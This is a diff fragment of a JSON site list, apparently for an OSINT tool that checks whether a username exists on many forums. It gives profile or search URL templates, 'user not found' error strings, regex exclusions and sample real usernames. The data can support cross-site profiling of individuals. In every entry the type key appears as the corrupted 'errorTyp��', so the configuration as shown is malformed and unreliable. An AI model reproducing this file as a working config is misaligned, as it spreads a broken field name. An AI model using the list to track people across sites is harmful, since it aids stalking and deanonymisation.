Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samatow.my1.ru/index/8-0-{}", + "urlMain": "https://samatow.my1.ru/", + "usernameON": "plats", + "bad_site": "" + }, + "Forum_samimiyat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samimiyat.ucoz.net/index/8-0-{}", + "urlMain": "https://samimiyat.ucoz.net", + "usernameON": "MaRJoNa", + "bad_site": "" + }, + "Forum_samovar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.samovar-forum.ru/index/8-0-{}", + "urlMain": "https://www.samovar-forum.ru", + "usernameON": "MrKoteika", + "bad_site": "" + }, + "Forum_samp-rp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://samp-rp.online/members/?username={}", + "urlMain": "https://samp-rp.online", + "usernameON": "allen_tyanytov", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_samp-sektor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.samp-sektor-2.ru/index/8-0-{}", + "urlMain": "http://www.samp-sektor-2.ru", + "usernameON": "wellnemo7", + "bad_site": "" + }, + "Forum_samp-top": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://samp-top.at.ua/index/8-0-{}", + "urlMain": "https://samp-top.at.ua", + "usernameON": "Diablo", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_samru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация отсутствует", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.samru.ru/new/forum/userinfo/user_{}.html", + "urlMain": "https://www.samru.ru", + "usernameON": "Ken", + "bad_site": "" + }, + "Forum_sanatorii": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Санатории Беларуси Белоруссии • Информация", + "errorMsg3": "SQL ERROR", + "errorTyp��": "message", + "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.sanatorii.by", + "usernameON": "pavlovich", + "bad_site": "" + }, + "Forum_sannata": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.phantom.sannata.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.phantom.sannata.org", + "usernameON": "RafGul", + "bad_site": "" + }, + "Forum_santacruz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.santacruzforums.com/members/?username={}", + "urlMain": "https://www.santacruzforums.com", + "usernameON": "cargonaut", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_santechniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "action=\"./ucp.php?mode=login\">", + "errorTyp��": "message", + "url": "https://santechniki.com/memberlist.php?username={}", + "urlMain": "https://santechniki.com", + "usernameON": "Murza74", + "bad_site": "" + }, + "Forum_santehnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://сантехсвар.рф/search.php?keywords=&terms=all&author={}", + "urlMain": "http://сантехсвар.рф", + "usernameON": "SVAR", + "bad_site": "" + }, + "Forum_sape": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.sape.ru/member.php?username={}", + "urlMain": "http://forum.sape.ru", + "usernameON": "Nike99", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_saranskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "pr('','','',''", + "errorMsg2": "профиль
    ", + "errorTyp��": "message", + "url": "https://saranskchess.forum24.ru/?32-{}", + "urlMain": "https://saranskchess.forum24.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_Sat-prof_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sat-prof.com.ua/member.php?username={}", + "urlMain": "https://sat-prof.com.ua", + "usernameON": "kreshnot", + "bad_site": "" + }, + "Forum_satisfacktion": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://satisfacktion.ucoz.ru/index/8-0-{}", + "urlMain": "https://satisfacktion.ucoz.ru", + "usernameON": "satisfacktion", + "bad_site": "" + }, + "Forum_sauna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.saunaforums.com/forums/users/{}/", + "urlMain": "https://www.saunaforums.com", + "usernameON": "rick", + "comments": "cf", + "bad_site": 1 + }, + "Forum_saunabauen": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden Ergebnisse gefunden", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.saunabauen.de/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.saunabauen.de", + "usernameON": "klaus", + "bad_site": "" + }, + "Forum_savasleyka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://savasleyka.ru/index/8-0-{}", + "urlMain": "http://savasleyka.ru", + "usernameON": "catalogs123123", + "bad_site": "" + }, + "Forum_say7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://forum.say7.info/search.php?search_author={}", + "urlMain": "https://forum.say7.info", + "usernameON": "Fia-Lka", + "bad_site": "" + }, + "Forum_sayyod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sayyod.com/index/8-0-{}", + "urlMain": "http://sayyod.com/", + "usernameON": "mushkulsavdo", + "bad_site": "" + }, + "Forum_sc2mafia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sc2mafia.com/forum/member.php/?username={}", + "urlMain": "https://www.sc2mafia.com", + "usernameON": "Gikkle", + "bad_site": "" + }, + "Forum_scalemodeladdict": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scalemodeladdict.com/members/?username={}", + "urlMain": "https://www.scalemodeladdict.com", + "usernameON": "spruecutter", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scb.ucoz.ru/index/8-0-{}", + "urlMain": "https://scb.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_school-1130": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school-1130.ucoz.ru/index/8-0-{}", + "urlMain": "https://school-1130.ucoz.ru", + "usernameON": "KPECT", + "bad_site": "" + }, + "Forum_school74": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://school74.ucoz.ru/index/8-0-{}", + "urlMain": "https://school74.ucoz.ru", + "usernameON": "Ruike", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_school87": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school87.clan.su/index/8-0-{}", + "urlMain": "https://school87.clan.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_scienceforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.scienceforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.com", + "usernameON": "rohan232323", + "bad_site": "" + }, + "Forum_scienceforumsnet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "your search. Try broadening your criteria", + "errorTyp��": "message", + "url": "https://www.scienceforums.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_sciforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sciforums.com/members/?username={}", + "urlMain": "https://www.sciforums.com", + "usernameON": "billvon", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scimarche": { + "country": "🇮🇹", + "country_klas": "IT", + "errorTyp��": "status_code", + "url": "https://www.scimarche.it/membri/{}/", + "urlMain": "https://www.scimarche.it", + "usernameON": "jonathan", + "bad_site": "" + }, + "Forum_sciphysicsforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "http://www.sciphysicsforums.com/spfbb1/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.sciphysicsforums.com", + "usernameON": "FrediFizzx", + "bad_site": "" + }, + "Forum_scompaginando": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Questo utente non è registrato", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.scompaginando.it/member.php?username={}", + "urlMain": "http://www.scompaginando.it", + "usernameON": "Enribello", + "bad_site": "" + }, + "Forum_scooterista": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scooterista.ru/index/8-0-{}", + "urlMain": "https://scooterista.ru", + "usernameON": "Dreamer", + "bad_site": "" + }, + "Forum_scotchmaltwhisky": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.scotchmaltwhisky.co.uk/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.scotchmaltwhisky.co.uk", + "usernameON": "William", + "bad_site": "" + }, + "Forum_scrambler": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scramblerforum.com/members/?username={}", + "urlMain": "https://www.scramblerforum.com", + "usernameON": "fatrob", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_scrapbookcampus": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://scrapbookcampus.com/invision/search/?q={}&quick=1&type=core_members", + "urlMain": "https://scrapbookcampus.com", + "usernameON": "jacques", + "bad_site": "" + }, + "Forum_scriptmen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scriptmen.ucoz.ru/index/8-0-{}", + "urlMain": "https://scriptmen.ucoz.ru", + "usernameON": "reix24", + "bad_site": "" + }, + "Forum_scripts-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scripts-money.clan.su/index/8-0-{}", + "urlMain": "https://scripts-money.clan.su", + "usernameON": "Diamond00744", + "bad_site": "" + }, + "Forum_scssoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.scssoft.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.scssoft.com", + "usernameON": "B787", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scuba": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.scuba-divers.ru/memberlist.php?username={}", + "urlMain": "http://forum.scuba-divers.ru/", + "usernameON": "bubonic", + "bad_site": "" + }, + "Forum_se-forever": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-forever.ucoz.com/index/8-0-{}", + "urlMain": "https://se-forever.ucoz.com", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_se-style": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-style.3dn.ru/index/8-0-{}", + "urlMain": "https://se-style.3dn.ru/", + "usernameON": "qwerty2244", + "bad_site": "" + }, + "Forum_se-zver": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-zver.ucoz.net/index/8-0-{}", + "urlMain": "https://se-zver.ucoz.net", + "usernameON": "magwrisK", + "bad_site": "" + }, + "Forum_se7ensins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.se7ensins.com/members/?username={}", + "urlMain": "https://www.se7ensins.com", + "usernameON": "mocolos", + "comments": "super", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_seabreeze": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.seabreeze.com.au/Members/Profile/Details.aspx?member={}", + "urlMain": "https://www.seabreeze.com.au", + "usernameON": "surfanimal", + "bad_site": "" + }, + "Forum_searchengines": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
    ", + "errorMsg2": "class=\"nothing-found__title", + "errorTyp��": "message", + "url": "https://searchengines.guru/ru/search?keyword=&author={}&sortByDate=false", + "urlMain": "https://searchengines.guru", + "usernameON": "LevShliman", + "bad_site": "" + }, + "Forum_sebezh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>
    403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://secure-net.ucoz.ru/index/8-0-{}", + "urlMain": "https://secure-net.ucoz.ru", + "usernameON": "hcurcl", + "bad_site": "" + }, + "Forum_segaxtreme": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://segaxtreme.net/members/?username={}", + "urlMain": "https://segaxtreme.net", + "usernameON": "bluemoon95", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_selfsufficientculture": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.selfsufficientculture.com/members/?username={}", + "urlMain": "https://www.selfsufficientculture.com", + "usernameON": "daveb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sell-akk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sell-akk.at.ua/index/8-0-{}", + "urlMain": "http://sell-akk.at.ua", + "usernameON": "apelsin", + "bad_site": "" + }, + "Forum_semenovka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://semenovka.at.ua/index/8-0-{}", + "urlMain": "http://semenovka.at.ua", + "usernameON": "semenovka", + "bad_site": "" + }, + "Forum_semerkainfo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg3": "Вам закрыт доступ к конференции.", + "errorTyp��": "message", + "url": "http://www.semerkainfo.ru/forum/memberlist.php?username={}", + "urlMain": "http://www.semerkainfo.ru", + "usernameON": "DJTigra", + "bad_site": "" + }, + "Forum_semperficatholic": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://semperficatholic.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://semperficatholic.com", + "usernameON": "MarieT", + "bad_site": "" + }, + "Forum_seniorforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.seniorforums.com/members/?username={}", + "urlMain": "https://www.seniorforums.com", + "usernameON": "pinky", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_sens": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sens.ucoz.ru/index/8-0-{}", + "urlMain": "https://sens.ucoz.ru", + "usernameON": "AlexSpain", + "bad_site": "" + }, + "Forum_serebropol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebropol.ucoz.ru/index/8-0-{}", + "urlMain": "https://serebropol.ucoz.ru", + "usernameON": "kedrdek", + "bad_site": "" + }, + "Forum_serebryansk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebryansk.online/index/8-0-{}", + "urlMain": "https://serebryansk.online", + "usernameON": "Luintil", + "bad_site": "" + }, + "Forum_serega363": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serega363.ucoz.ru/index/8-0-{}", + "urlMain": "https://serega363.ucoz.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_serenesforest": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.serenesforest.net/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.serenesforest.net", + "usernameON": "Jedi", + "bad_site": "" + }, + "Forum_serial1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.serial1forum.com/members/?username={}", + "urlMain": "https://www.serial1forum.com", + "usernameON": "sunti", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_serien": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serienforum.com/search/?&q={}&type=core_members", + "urlMain": "https://www.serienforum.com", + "usernameON": "Redaktion", + "bad_site": "" + }, + "Forum_serioussite": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.serioussite.ru/index/8-0-{}", + "urlMain": "https://www.serioussite.ru", + "usernameON": "tisomard", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_serpentes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serpentes.ru/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://www.serpentes.ru", + "usernameON": "TRexfood", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_server1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://server1.ucoz.net/index/8-0-{}", + "urlMain": "https://server1.ucoz.net", + "usernameON": "Arthurunige", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_servethehome": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.servethehome.com/index.php?members/&username={}", + "urlMain": "https://forums.servethehome.com", + "usernameON": "chlastakov", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_servicestack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.servicestack.net/u/{}/summary", + "urlMain": "https://forums.servicestack.net/", + "usernameON": "lai", + "bad_site": "" + }, + "Forum_serwis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serwis.ucoz.ru/index/8-0-{}", + "urlMain": "https://serwis.ucoz.ru", + "usernameON": "sigushki", + "bad_site": "" + }, + "Forum_setcombg": { + "country": "🇧🇬", + "country_klas": "BG", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "<meta name=\"robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://forum.setcombg.com/members/{}.html", + "urlMain": "https://forum.setcombg.com", + "usernameON": "ganev", + "bad_site": "" + }, + "Forum_setter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://setter.borda.ru/?32-{}", + "urlMain": "https://setter.borda.ru", + "usernameON": "veronika12", + "bad_site": "" + }, + "Forum_sev-kav": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sev-kav.clan.su/index/8-0-{}", + "urlMain": "https://sev-kav.clan.su", + "usernameON": "tbes50203", + "bad_site": "" + }, + "Forum_sevenstring": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sevenstring.org/members/?username={}", + "urlMain": "https://sevenstring.org", + "usernameON": "maxofmetal", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_severushermione": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://severushermione.clan.su/index/8-0-{}", + "urlMain": "http://severushermione.clan.su", + "usernameON": "Olias", + "bad_site": "" + }, + "Forum_severussnape": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>СЕВАСТОПОЛЬСКИЙ ФОРУМ - Информация", + "errorTyp��": "message", + "url": "https://www.sevportal.info/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.sevportal.info", + "usernameON": "DarkWillow", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_sexchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlinefreechat.com/forum/members/?username={}", + "urlMain": "https://onlinefreechat.com", + "usernameON": "honeybear", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sexforum_top": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ru.sexforum.top/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ru.sexforum.top", + "usernameON": "Vzrosliy", + "bad_site": "" + }, + "Forum_sffworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sffworld.com/forum/members/?username={}", + "urlMain": "https://www.sffworld.com", + "usernameON": "redmage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sfinx-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://sfinx-cats.ucoz.ru/index/8-0-{}", + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameON": "Meggikliri", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sgvavia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sgvavia.ru/index/8-0-{}", + "urlMain": "https://www.sgvavia.ru", + "usernameON": "alla22", + "bad_site": "" + }, + "Forum_shaman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shaman.3dn.ru/index/8-0-{}", + "urlMain": "https://shaman.3dn.ru", + "usernameON": "vtaletkhfr", + "bad_site": "" + }, + "Forum_shanse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanse.ucoz.com/index/8-0-{}", + "urlMain": "https://shanse.ucoz.com", + "usernameON": "Юлия", + "bad_site": "" + }, + "Forum_shanson": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanson.ucoz.ru/index/8-0-{}", + "urlMain": "https://shanson.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_shatoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sherlar.3dn.ru/index/8-0-{}", + "urlMain": "https://sherlar.3dn.ru", + "usernameON": "dugimmump", + "bad_site": "" + }, + "Forum_shiachat": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.shiachat.com/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.shiachat.com", + "usernameON": "Hameedeh", + "bad_site": "" + }, + "Forum_shiftdelete": { + "country": "🇹🇷", + "country_klas": "TR", + "errorTyp��": "redirection", + "url": "https://forum.shiftdelete.net/uyeler/?username={}", + "urlMain": "https://forum.shiftdelete.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_shiptext": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", 